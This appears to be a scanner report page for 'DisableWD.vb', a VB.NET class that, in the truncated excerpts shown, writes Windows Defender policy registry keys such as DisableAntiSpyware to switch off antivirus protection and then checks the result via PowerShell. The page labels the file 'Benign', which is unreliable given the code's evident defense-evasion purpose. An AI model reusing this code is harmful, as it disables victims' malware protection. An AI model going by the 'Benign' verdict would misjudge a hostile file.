Benign Download

DisableWD.vb

Token-array PowerShell commandReferences a public code-forge URL

SHA-2562eab57f3925f74a1b96f059696be8042e5dfced280e61b780d353b0536f8b713

Evidence

References a public code-forge URL lines 7–20

61… --
  '│ Author     : NYAN CAT
  '│ Name       : Disable Windows Defender v1.1
  '│ Contact    : https://github.com/NYAN-x-CAT
  '---------------------------------------------------------
  'This program is distributed for educational purposes only. 
  Class DisableWD
      Public Sub Start()
          Dim t As New Threading.Thread(AddressOf DisableWD)
          t.IsBackground = True
          t.Start()
      End Sub
      Private Shared Sub DisableWD()
          If New WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole …

Microsoft Defender product name reference lines 21–23

97…  "0")
              RegistryEdit("SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1")
              RegistryEdit("SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection", " …

VBScript End control-flow block lines 25–33

131… 1")
              CheckDefender()
          End If
      End Sub
29
      Private Shared Sub RegistryEdit(ByVal regPath As String, ByVal name As String, ByVal value As String)
          Try
32
       …

Token-array PowerShell command lines 44–53

13… End Try
      End Sub
46
      Private Shared Sub CheckDefender()
          Dim proc As Process = New Process With {
              .StartInfo = New ProcessStartInfo With {
                  .FileName = "powershell",
                  .Arguments = "Get-MpPreference -verbose",
                  .UseShellExecute = False,
                …

VBScript Dim variable declaration lines 60–63

23… proc.StandardOutput.EndOfStream
              Dim line As String = proc.StandardOutput.ReadLine()
62
              If line.StartsWith("DisableRealtime …